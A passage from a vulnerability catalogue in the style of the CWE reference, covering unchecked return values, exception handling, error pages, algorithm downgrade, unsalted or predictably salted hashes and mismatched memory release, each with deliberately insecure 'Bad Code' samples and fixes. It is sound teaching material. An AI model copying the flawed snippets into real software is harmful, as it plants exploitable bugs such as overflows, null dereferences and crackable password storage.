Identify error conditions that are not likely to occur during normal usage and trigger them. For example, run the program under low memory conditions, run with insufficient privileges or permissions, interrupt a transaction before it is completed, or disable connectivity to basic network services such as DNS. Monitor the software for any unexpected behavior. If you trigger an unhandled exception or similar error that was discovered and handled by the application's environment, it may still indicate unexpected conditions that were not handled by the application itself.

Demonstrative Examples

Example 1:

Consider the following code segment:

C Example: *Bad Code*

```
char buf[10], cp_buf[10];
fgets(buf, 10, stdin);
strcpy(cp_buf, buf);
```

The programmer expects that when fgets() returns, buf will contain a null-terminated string of length 9 or less. But if an I/O error occurs, fgets() will not null-terminate buf. Furthermore, if the end of the file is reached before any characters are read, fgets() returns without writing anything to buf. In both of these situations, fgets() signals that something unusual has happened by returning NULL, but in this code, the warning will not be noticed. The lack of a null terminator in buf can result in a buffer overflow in the subsequent call to strcpy().

Example 2:

The following code does not check to see if memory allocation succeeded before attempting to use the pointer returned by malloc().

C Example: *Bad Code*

```
buf = (char*) malloc(req_size);
strncpy(buf, xfer, req_size);
```

The traditional defense of this coding error is: "If my program runs out of memory, it will fail. It doesn't matter whether I handle the error or simply allow the program to die with a segmentation fault when it tries to dereference the null pointer." This argument ignores three important considerations:

Depending upon the type and size of the application, it may be possible to free memory that is being used elsewhere so that execution can continue.

It is impossible for the program to perform a graceful exit if required. If the program is performing an atomic operation, it can leave the system in an inconsistent state.

The programmer has lost the opportunity to record diagnostic information. Did the call to malloc() fail because req_size was too large or because there were too many requests being handled at the same time? Or was it caused by a memory leak that has built up over time? Without handling the error, there is no way to know.

Example 3:

The following examples read a file into a byte array.

C# Example: *Bad Code*

```
char[] byteArray = new char[1024];
for (IEnumerator i=users.GetEnumerator(); i.MoveNext() ;i.Current()) {
  String userName = (String) i.Current();
  String pFileName = PFILE_ROOT + "/" + userName;
  StreamReader sr = new StreamReader(pFileName);
  sr.Read(byteArray,0,1024);//the file is always 1k bytes
  sr.Close();
  processPFile(userName, byteArray);
}
```

Java Example: *Bad Code*

```
FileInputStream fis;
byte[] byteArray = new byte[1024];
for (Iterator i=users.iterator(); i.hasNext();) {
  String userName = (String) i.next();
  String pFileName = PFILE_ROOT + "/" + userName;
  FileInputStream fis = new FileInputStream(pFileName);
  fis.read(byteArray); // the file is always 1k bytes
  fis.close();
  processPFile(userName, byteArray);
```

The code loops through a set of users, reading a private data file for each user. The programmer assumes that the files are always 1 kilobyte in size and therefore ignores the return value from Read(). If an attacker can create a smaller file, the program will recycle the remainder of the data from the previous user and treat it as though it belongs to the attacker.

Example 4:

The following code does not check to see if the string returned by getParameter() is null before calling the member function compareTo(), potentially causing a NULL dereference.

Java Example: *Bad Code*

```
String itemName = request.getParameter(ITEM_NAME);
if (itemName.compareTo(IMPORTANT_ITEM) == 0) {
  ...
}
...
```

The following code does not check to see if the string returned by the Item property is null before calling the member function Equals(), potentially causing a NULL dereference.

Java Example: *Bad Code*

```
String itemName = request.Item(ITEM_NAME);
if (itemName.Equals(IMPORTANT_ITEM)) {
  ...
}
...
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value."

But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 5:

The following code shows a system property that is set to null and later dereferenced by a programmer who mistakenly assumes it will always be defined.

Java Example: *Bad Code*

```
System.clearProperty("os.name");
...
String os = System.getProperty("os.name");
if (os.equalsIgnoreCase("Windows 95")) System.out.println("Not supported");
```

The traditional defense of this coding error is: "I know the requested value will always exist because.... If it does not exist, the program cannot perform the desired behavior so it doesn't matter whether I handle the error or simply allow the program to die dereferencing a null value." But attackers are skilled at finding unexpected paths through programs, particularly when exceptions are involved.

Example 6:

The following VB.NET code does not check to make sure that it has read 50 bytes from myfile.txt. This can cause DoDangerousOperation() to operate on an unexpected value.

.NET Example: *Bad Code*

```
Dim MyFile As New FileStream("myfile.txt", FileMode.Open, FileAccess.Read, FileShare.Read)
Dim MyArray(50) As Byte
MyFile.Read(MyArray, 0, 50)
DoDangerousOperation(MyArray(20))
```

In .NET, it is not uncommon for programmers to misunderstand Read() and related methods that are part of many System.IO classes. The stream and reader classes do not consider it to be unusual or exceptional if only a small amount of data becomes available. These classes simply add the small amount of data to the return buffer, and set the return value to the number of bytes or characters read. There is no guarantee that the amount of data returned is equal to the amount of data requested.

Example 7:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example: *Bad Code*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
}
```

If an attacker provides an address that appears to be well-formed, but the address does not resolve to a hostname, then the call to gethostbyaddr() will return NULL. When this occurs, a NULL pointer dereference (CWE-476) will occur in the call to strcpy().

Note that this example is also vulnerable to a buffer overflow (see CWE-119).

Example 8:

In the following C/C++ example the method outputStringToFile opens a file in the local filesystem and outputs a string to the file. The input parameters output and filename contain the string to output to the file and the name of the file respectively.

C++ Example: *Bad Code*

```
int outputStringToFile(char *output, char *filename) {
```

```
  openFileToWrite(filename);
  writeToFile(output);
  closeFile(filename);
}
```

However, this code does not check the return values of the methods openFileToWrite, writeToFile, closeFile to verify that the file was properly opened and closed and that the string was successfully written to the file. The return values for these methods should be checked to determine if the method was successful and allow for detection of errors or unexpected conditions as in the following example.

C++ Example: *Good Code*

```
int outputStringToFile(char *output, char *filename) {
  int isOutput = SUCCESS;
  int isOpen = openFileToWrite(filename);
  if (isOpen == FAIL) {
    printf("Unable to open file %s", filename);
    isOutput = FAIL;
  }
  else {
    int isWrite = writeToFile(output);
    if (isWrite == FAIL) {
      printf("Unable to write to file %s", filename);
      isOutput = FAIL;
    }
    int isClose = closeFile(filename);
    if (isClose == FAIL)
      isOutput = FAIL;
  }
  return isOutput;
}
```

Example 9:

In the following Java example the method readFromFile uses a FileReader object to read the contents of a file. The FileReader object is created using the File object readFile, the readFile object is initialized using the setInputFile method. The setInputFile method should be called before calling the readFromFile method.

Java Example: *Bad Code*

```
private File readFile = null;
public void setInputFile(String inputFile) {
  // create readFile File object from string containing name of file
}
public void readFromFile() {
  try {
    reader = new FileReader(readFile);
    // read input file
  } catch (FileNotFoundException ex) {...}
}
```

However, the readFromFile method does not check to see if the readFile object is null, i.e. has not been initialized, before creating the FileReader object and reading from the input file. The readFromFile method should verify whether the readFile object is null and output an error message and raise an exception if the readFile object is null, as in the following code.

Java Example: *Good Code*

```
private File readFile = null;
public void setInputFile(String inputFile) {
  // create readFile File object from string containing name of file
}
public void readFromFile() {
  try {
    if (readFile == null) {
      System.err.println("Input file has not been set, call setInputFile method before calling openInputFile");
      throw NullPointerException;
    }
```

```
    reader = new FileReader(readFile);
    // read input file
  } catch (FileNotFoundException ex) {...}
  catch (NullPointerException ex) {...}
}
```

Observed Examples

Reference	Description
CVE-2006-2916	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2006-4447	Program does not check return value when invoking functions to drop privileges, which could leave users with higher privileges than expected by forcing those functions to fail.
CVE-2007-3798	Unchecked return value leads to resultant integer overflow and code execution.

Potential Mitigations

Requirements

Language Selection

Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

Choose languages with features such as exception handling that force the programmer to anticipate unusual conditions that may generate exceptions. Custom exceptions may need to be developed to handle unusual business-logic conditions. Be careful not to pass sensitive exceptions back to the user (CWE-209, CWE-248).

Implementation

High

Check the results of all functions that return a value and verify that the value is expected.

Checking the return value of the function will typically be sufficient, however beware of race conditions (CWE-362) in a concurrent environment.

Implementation

High

If using exception handling, catch and throw specific exceptions instead of overly-general exceptions (CWE-396, CWE-397). Catch and handle exceptions as locally as possible so that exceptions do not propagate too far up the call stack (CWE-705). Avoid unchecked or uncaught exceptions where feasible (CWE-248).

Using specific exceptions, and ensuring that exceptions are checked, helps programmers to anticipate and appropriately handle many unusual events that could occur.

Implementation

Ensure that error messages only contain minimal details that are useful to the intended audience, and nobody else. The messages need to strike the balance between being too cryptic and not being cryptic enough. They should not necessarily reveal the methods that were used to determine the error. Such detailed information can be used to refine the original attack to increase the chances of success.

If errors must be tracked in some detail, capture them in log messages - but consider what could occur if the log messages can be viewed by attackers. Avoid recording highly sensitive information such as passwords in any form. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a username is valid or not.

Exposing additional information to a potential attacker in the context of an exceptional condition can help the attacker determine what attack vectors are most likely to succeed beyond DoS.

Implementation
Input Validation

Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a whitelist of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."

Do not rely exclusively on looking for malicious or malformed inputs (i.e., do not rely on a blacklist). A blacklist is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, blacklists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.

Performing extensive input validation does not help with handling unusual conditions, but it will minimize their occurrences and will make it more difficult for attackers to trigger them.

Architecture and Design
Implementation

If the program must fail, ensure that it fails gracefully (fails closed). There may be a temptation to simply let the program fail poorly in cases such as low memory conditions, but an attacker may be able to assert control before the software has fully exited. Alternately, an uncontrolled failure could cause cascading problems with other downstream components; for example, the program could send a signal to a downstream process so the process immediately knows that a problem has occurred and has a better chance of recovery.

Architecture and Design

Use system limits, which should help to prevent resource exhaustion. However, the software should still handle low resource conditions since they may still occur.

Background Details

Many functions will return some value about the success of their actions. This will alert the program whether or not to handle any errors caused by that function.

ParentOf	B	*394*	*Unexpected Status Code or Return Value*	***1000***	*681*

Relationship Notes

Sometimes, when a return value can be used to indicate an error, an unchecked return value is a code-layer instance of a missing application-layer check for exceptional conditions. However, return values are not always needed to communicate exceptional conditions. For example, expiration of resources, values passed by reference, asynchronously modified data, sockets, etc. may indicate exceptional conditions without the use of a return value.

CWE-755: Improper Handling of Exceptional Conditions

Weakness ID: 755 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not handle or incorrectly handles an exceptional condition.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Other

Other

Likelihood of Exploit

Low to Medium

Observed Examples

Reference	Description
CVE-2008-4302	Chain: OS kernel does not properly handle a failure of a function call (CWE-755), leading to an unlock of a resource that was not locked (CWE-832), with resultant crash.

CWE-756: Missing Custom Error Page

Weakness ID: 756 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not return custom error pages to the user, possibly exposing sensitive information.

Common Consequences

Confidentiality

Read application data

Attackers can leverage the additional information provided by a default error page to mount attacks targeted on the framework, database, or other resources used by the application.

Demonstrative Examples

Example 1:

In the snippet below, an unchecked runtime exception thrown from within the try block may cause the container to display its default error page (which may contain a full stack trace, among other things).

Java Example: *Bad Code*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
  try {
    ...
  } catch (ApplicationSpecificException ase) {
    logger.error("Caught: " + ase.toString());
  }
}
```

Example 2:

An insecure ASP.NET application setting:

ASP.NET Example: *Bad Code*

```
<customErrors mode="Off" />
```

Custom error message mode is turned off. An ASP.NET error message with detailed stack trace and platform versions will be returned.

Here is a more secure setting:

ASP.NET Example: *Good Code*

```
<customErrors mode="RemoteOnly" />
```

Custom error message mode for remote users only. No defaultRedirect error page is specified. The local user on the web server will see a detailed stack trace. For remote users, an ASP.NET error message with the server customError configuration setting and the platform version will be returned.

CWE-757: Selection of Less-Secure Algorithm During Negotiation ('Algorithm Downgrade')

Weakness ID: 757 *(Weakness Class)* **Status:** Incomplete

Description

Summary

A protocol or its implementation supports interaction between multiple actors and allows those actors to negotiate which algorithm should be used as a protection mechanism such as encryption or authentication, but it does not select the strongest algorithm that is available to both parties.

Extended Description

When a security mechanism can be forced to downgrade to use a less secure algorithm, this can make it easier for attackers to compromise the software by exploiting weaker algorithm. The victim might not be aware that the less secure algorithm is being used. For example, if an attacker can force a communications channel to use cleartext instead of strongly-encrypted data, then the attacker could read the channel by sniffing, instead of going through extra effort of trying to decrypt the data using brute force techniques.

Common Consequences

Access Control

Bypass protection mechanism

Observed Examples

Reference	Description
CVE-2001-1444	Telnet protocol implementation allows downgrade to weaker authentication and encryption using a man-in-the-middle attack.
CVE-2002-1646	SSH server implementation allows override of configuration setting to use weaker authentication schemes. This may be a composite with CWE-642.
CVE-2005-2969	chain: SSL/TLS implementation disables a verification step (CWE-325) that enables a downgrade attack to a weaker protocol.
CVE-2006-4302	Attacker can select an older version of the software to exploit its vulnerabilities.
CVE-2006-4407	Improper prioritization of encryption ciphers during negotiation leads to use of a weaker cipher.

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	693	Protection Mechanism Failure	**699** **1000**	1077
ChildOf	C	957	SFP Secondary Cluster: Protocol Error	**888**	1379

Relationship Notes

This is related to CWE-300 (Man-in-the-Middle), although not all downgrade attacks necessarily require a man in the middle. See examples.

Related Attack Patterns

620	Drop Encryption Level	

CWE-758: Reliance on Undefined, Unspecified, or Implementation-Defined Behavior

Weakness ID: 758 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software uses an API function, data structure, or other entity in a way that relies on properties that are not always guaranteed to hold for that entity.

Extended Description

This can lead to resultant weaknesses when the required properties change, such as when the software is ported to a different platform or if an interaction error (CWE-435) occurs.

Common Consequences

Other
Other

Observed Examples

Reference	Description
CVE-2006-1902	Change in C compiler behavior causes resultant buffer overflows in programs that depend on behaviors that were undefined in the C standard.

CERT C Secure Coding	MSC15-C	Do not depend on undefined behavior

CWE-759: Use of a One-Way Hash without a Salt

Weakness ID: 759 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software does not also use a salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Common Consequences

Access Control
Bypass protection mechanism
Gain privileges / assume identity

If an attacker can gain access to the hashes, then the lack of a salt makes it easier to conduct brute force attacks using techniques such as rainbow tables.

Detection Methods

Automated Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Manual Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial

According to SOAR, the following detection techniques may be useful:
Cost effective for partial coverage:
Configuration Checker

Architecture / Design Review
SOAR High

According to SOAR, the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)

Demonstrative Examples

Example 1:

In both of these examples, a user is logged in if their given password matches a stored password:

C Example: *Bad Code*

```
unsigned char *check_passwd(char *plaintext) {
  ctext = simple_digest("sha1",plaintext,strlen(plaintext), ... );
  //Login if hash matches stored hash
  if (equal(ctext, secret_password())) {
    login_user();
  }
}
```

Java Example: *Bad Code*

```
String plainText = new String(plainTextIn);
MessageDigest encer = MessageDigest.getInstance("SHA");
encer.update(plainTextIn);
byte[] digest = password.digest();
//Login if hash matches stored hash
if (equal(digest,secret_password())) {
  login_user();
}
```

This code does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password. Note this code also exhibits CWE-328 (Reversible One-Way Hash).

Example 2:

In this example, a new user provides a new username and password to create an account. The program hashes the new user's password then stores it in a database.

Python Example: *Bad Code*

```
def storePassword(userName,Password):
  hasher = hashlib.new('md5')
  hasher.update(Password)
  hashedPassword = hasher.digest()
  # UpdateUserLogin returns True on success, False otherwise
  return updateUserLogin(userName,hashedPassword)
```

While it is good to avoid storing a cleartext password, the program does not provide a salt to the hashing function, thus increasing the chances of an attacker being able to reverse the hash and discover the original password if the database is compromised.

Fixing this is as simple as providing a salt to the hashing function on initialization:

Python Example: *Good Code*

```
def storePassword(userName,Password):
  hasher = hashlib.new('md5',b'SaltGoesHere')
  hasher.update(Password)
  hashedPassword = hasher.digest()
  # UpdateUserLogin returns True on success, False otherwise
  return updateUserLogin(userName,hashedPassword)
```

Note that regardless of the usage of a salt, the md5 hash is no longer considered secure, so this example still exhibits CWE-327.

Observed Examples

Reference	Description
CVE-2006-1058	Router does not use a salt with a hash, making it easier to crack passwords.
CVE-2008-1526	Router does not use a salt with a hash, making it easier to crack passwords.

Potential Mitigations

Architecture and Design
High

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.759.1], scrypt [R.759.2], and PBKDF2 [R.759.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Architecture and Design
Limited

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Implementation
Architecture and Design

When using industry-approved techniques, use them correctly. Don't cut corners by skipping resource-intensive steps (CWE-325). These steps are often essential for preventing common attacks.

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

CWE-760: Use of a One-Way Hash with a Predictable Salt

Weakness ID: 760 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software uses a one-way cryptographic hash against an input that should not be reversible, such as a password, but the software uses a predictable salt as part of the input.

Extended Description

This makes it easier for attackers to pre-compute the hash value using dictionary attack techniques such as rainbow tables, effectively disabling the protection that an unpredictable salt would provide.

It should be noted that, despite common perceptions, the use of a good salt with a hash does not sufficiently increase the effort for an attacker who is targeting an individual password, or who has a large amount of computing resources available, such as with cloud-based services or specialized, inexpensive hardware. Offline password cracking can still be effective if the hash function is not expensive to compute; many cryptographic functions are designed to be efficient and can be vulnerable to attacks using massive computing resources, even if the hash is cryptographically strong. The use of a salt only slightly increases the computing requirements for an attacker compared to other strategies such as adaptive hash functions. See CWE-916 for more details.

Common Consequences

Access Control
Bypass protection mechanism

Observed Examples

Reference	Description
CVE-2001-0967	Server uses a constant salt when encrypting passwords, simplifying brute force attacks.
CVE-2002-1657	Database server uses the username for a salt when encrypting passwords, simplifying brute force attacks.

Reference	Description
CVE-2005-0408	chain: product generates predictable MD5 hashes using a constant value combined with username, allowing authentication bypass.
CVE-2008-4905	Blogging software uses a hard-coded salt when calculating a password hash.

Potential Mitigations

Architecture and Design

High

Use an adaptive hash function that can be configured to change the amount of computational effort needed to compute the hash, such as the number of iterations ("stretching") or the amount of memory required. Some hash functions perform salting automatically. These functions can significantly increase the overhead for a brute force attack compared to intentionally-fast functions such as MD5. For example, rainbow table attacks can become infeasible due to the high computing overhead. Finally, since computing power gets faster and cheaper over time, the technique can be reconfigured to increase the workload without forcing an entire replacement of the algorithm in use.

Some hash functions that have one or more of these desired properties include bcrypt [R.760.1], scrypt [R.760.2], and PBKDF2 [R.760.3]. While there is active debate about which of these is the most effective, they are all stronger than using salts with hash functions with very little computing overhead.

Note that using these functions can have an impact on performance, so they require special consideration to avoid denial-of-service attacks. However, their configurability provides finer control over how much CPU and memory is used, so it could be adjusted to suit the environment's needs.

Implementation

Limited

If a technique that requires extra computational effort can not be implemented, then for each password that is processed, generate a new random salt using a strong random number generator with unpredictable seeds. Add the salt to the plaintext password before hashing it. When storing the hash, also store the salt. Do not use the same salt for every password.

Be aware that salts will not reduce the workload of a targeted attack against an individual hash (such as the password for a critical person), and in general they are less effective than other hashing techniques such as increasing the computation time or memory overhead. Without a built-in workload, modern attacks can compute large numbers of hashes, or even exhaust the entire space of all possible passwords, within a very short amount of time, using massively-parallel computing and GPU, ASIC, or FPGA hardware.

Background Details

In cryptography, salt refers to some random addition of data to an input before hashing to make dictionary attacks more difficult.

CWE-761: Free of Pointer not at Start of Buffer

Weakness ID: 761 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application calls free() on a pointer to a memory resource that was allocated on the heap, but the pointer is not at the start of the buffer.

Extended Description

This can cause the application to crash, or in some cases, modify critical program variables or execute code.

This weakness often occurs when the memory is allocated explicitly on the heap with one of the malloc() family functions and free() is called, but pointer arithmetic has caused the pointer to be in the interior or end of the buffer.

Time of Introduction

- Implementation

Common Consequences

Integrity
Availability
Confidentiality
Modify memory
DoS: crash / exit / restart
Execute unauthorized code or commands

Demonstrative Examples

Example 1:

In this example, the programmer dynamically allocates a buffer to hold a string and then searches for a specific character. After completing the search, the programmer attempts to release the allocated memory and return SUCCESS or FAILURE to the caller. Note: for simplification, this example uses a hard-coded "Search Me!" string and a constant string length of 20.

C Example: *Bad Code*

```
#define SUCCESS (1)
```

```
#define FAILURE (0)
int contains_char(char c){
  char *str;
  str = (char*)malloc(20*sizeof(char));
  strcpy(str, "Search Me!");
  while( *str != NULL){
    if( *str == c ){
      /* matched char, free string and return success */
      free(str);
      return SUCCESS;
    }
    /* didn't match yet, increment pointer and try next char */
    str = str + 1;
  }
  /* we did not match the char in the string, free mem and return failure */
  free(str);
  return FAILURE;
}
```

However, if the character is not at the beginning of the string, or if it is not in the string at all, then the pointer will not be at the start of the buffer when the programmer frees it.

Instead of freeing the pointer in the middle of the buffer, the programmer can use an indexing pointer to step through the memory or abstract the memory calculations by using array indexing.

C Example: *Good Code*

```
#define SUCCESS (1)
#define FAILURE (0)
int cointains_char(char c){
  char *str;
  int i = 0;
  str = (char*)malloc(20*sizeof(char));
  strcpy(str, "Search Me!");
  while( i < strlen(str) ){
    if( str[i] == c ){
      /* matched char, free string and return success */
      free(str);
      return SUCCESS;
    }
    /* didn't match yet, increment pointer and try next char */
    i = i + 1;
  }
  /* we did not match the char in the string, free mem and return failure */
  free(str);
  return FAILURE;
}
```

Example 2:

This code attempts to tokenize a string and place it into an array using the strsep function, which inserts a \0 byte in place of whitespace or a tab character. After finishing the loop, each string in the AP array points to a location within the input string.

C Example: *Bad Code*

```
char **ap, *argv[10], *inputstring;
for (ap = argv; (*ap = strsep(&inputstring, " \t")) != NULL;)
  if (**ap != '\0')
    if (++ap >= &argv[10])
      break;
/.../
free(ap[4]);
```

Since strsep is not allocating any new memory, freeing an element in the middle of the array is equivalent to free a pointer in the middle of inputstring.

Example 3:

Consider the following code in the context of a parsing application to extract commands out of user data. The intent is to parse each command and add it to a queue of commands to be executed, discarding each malformed entry.

C Example: *Bad Code*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
  if( isMalformed( tok ) ){
    /* ignore and discard bad data */
    free( tok );
  }
  else{
    add_to_command_queue( tok );
  }
  tok = strtok( NULL, sep));
}
```

While the above code attempts to free memory associated with bad commands, since the memory was all allocated in one chunk, it must all be freed together.

One way to fix this problem would be to copy the commands into a new memory location before placing them in the queue. Then, after all commands have been processed, the memory can safely be freed.

C Example: *Good Code*

```
//hardcode input length for simplicity
char* input = (char*) malloc(40*sizeof(char));
char *tok, *command;
char* sep = " \t";
get_user_input( input );
/* The following loop will parse and process each token in the input string */
tok = strtok( input, sep);
while( NULL != tok ){
  if( !isMalformed( command ) ){
    /* copy and enqueue good data */
    command = (char*) malloc( (strlen(tok) + 1) * sizeof(char) );
    strcpy( command, tok );
    add_to_command_queue( command );
  }
  tok = strtok( NULL, sep));
}
free( input )
```

Potential Mitigations

Implementation

When utilizing pointer arithmetic to traverse a buffer, use a separate variable to track progress through memory and preserve the originally allocated address for later freeing.

Implementation

When programming in C++, consider using smart pointers provided by the boost library to help correctly and consistently manage memory.

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

Maintenance Notes

Currently, CWE-763 is the parent, however it may be desirable to have an intermediate parent which is not function-specific, similar to how CWE-762 is an intermediate parent between CWE-763 and CWE-590.

CWE-762: Mismatched Memory Management Routines

Weakness ID: 762 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The application attempts to return a memory resource to the system, but it calls a release function that is not compatible with the function that was originally used to allocate that resource.

Extended Description

This weakness can be generally described as mismatching memory management routines, such as:

The memory was allocated on the stack (automatically), but it was deallocated using the memory management routine free() (CWE-590), which is intended for explicitly allocated heap memory.

The memory was allocated explicitly using one set of memory management functions, and deallocated using a different set. For example, memory might be allocated with malloc() in C++ instead of the new operator, and then deallocated with the delete operator.

When the memory management functions are mismatched, the consequences may be as severe as code execution, memory corruption, or program crash. Consequences and ease of exploit will vary depending on the implementation of the routines and the object being managed.

Time of Introduction

- Implementation

Applicable Platforms

Languages

- C
- C++
- Manual Memory Managed Languages

Common Consequences

Integrity
Availability
Confidentiality
Modify memory
DoS: crash / exit / restart
Execute unauthorized code or commands

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

This example allocates a BarObj object using the new operator in C++, however, the programmer then deallocates the object using free(), which may lead to unexpected behavior.

C++ Example: *Bad Code*

```
void foo(){
  BarObj *ptr = new BarObj()
  /* do some work with ptr here */
  ...
  free(ptr);
}
```

Instead, the programmer should have either created the object with one of the malloc family functions, or else deleted the object with the delete operator.

C++ Example: *Good Code*

```
void foo(){
  BarObj *ptr = new BarObj()
  /* do some work with ptr here */
  ...
  delete ptr;
}
```

Example 2:

In this example, the program does not use matching functions such as malloc/free, new/delete, and new[]/delete[] to allocate/deallocate the resource.

C++ Example: *Bad Code*

```
class A {
  void foo();
};
void A::foo(){
  int *ptr;
  ptr = (int*)malloc(sizeof(int));
  delete ptr;
}
```

Example 3:

In this example, the program calls the delete[] function on non-heap memory.

C++ Example: *Bad Code*

```
class A{
  void foo(bool);
};
void A::foo(bool heap) {
  int localArray[2] = {
    11,22
  };
  int *p = localArray;
  if (heap){
    p = new int[2];
  }
  delete[] p;
}
```

Potential Mitigations

Implementation

Only call matching memory management functions. Do not mix and match routines. For example, when you allocate a buffer with malloc(), dispose of the original pointer with free().

Implementation
Libraries or Frameworks

Choose a language or tool that provides automatic memory management, or makes manual memory management less error-prone.

For example, glibc in Linux provides protection against free of invalid pointers.

When using Xcode to target OS X or iOS, enable automatic reference counting (ARC) [R.762.3].

To help correctly and consistently manage memory when programming in C++, consider using a smart pointer class such as std::auto_ptr (defined by ISO/IEC ISO/IEC 14882:2003), std::shared_ptr and std::unique_ptr (specified by an upcoming revision of the C++ standard, informally referred to as C++ 1x), or equivalent solutions such as Boost.

Architecture and Design
Libraries or Frameworks

Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.

For example, glibc in Linux provides protection against free of invalid pointers.

Architecture and Design

Use a language that provides abstractions for memory allocation and deallocation.

Testing

Use a tool that dynamically detects memory management problems, such as valgrind.

CWE-763: Release of Invalid Pointer or Reference

Weakness ID: 763 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The application attempts to return a memory resource to the system, but calls the wrong release function or calls the appropriate release function incorrectly.

Extended Description

This weakness can take several forms, such as:

The memory was allocated, explicitly or implicitly, via one memory management method and deallocated using a different, non-compatible function (CWE-762).

The function calls or memory management routines chosen are appropriate, however they are used incorrectly, such as in CWE-761.

Time of Introduction

- Implementation

Common Consequences

Integrity
Availability
Confidentiality
Modify memory
DoS: crash / exit / restart
Execute unauthorized code or commands

This weakness may result in the corruption of memory, and perhaps instructions, possibly leading to a crash. If the corrupted memory can be effectively controlled, it may be possible to execute arbitrary code.

Demonstrative Examples

Example 1:

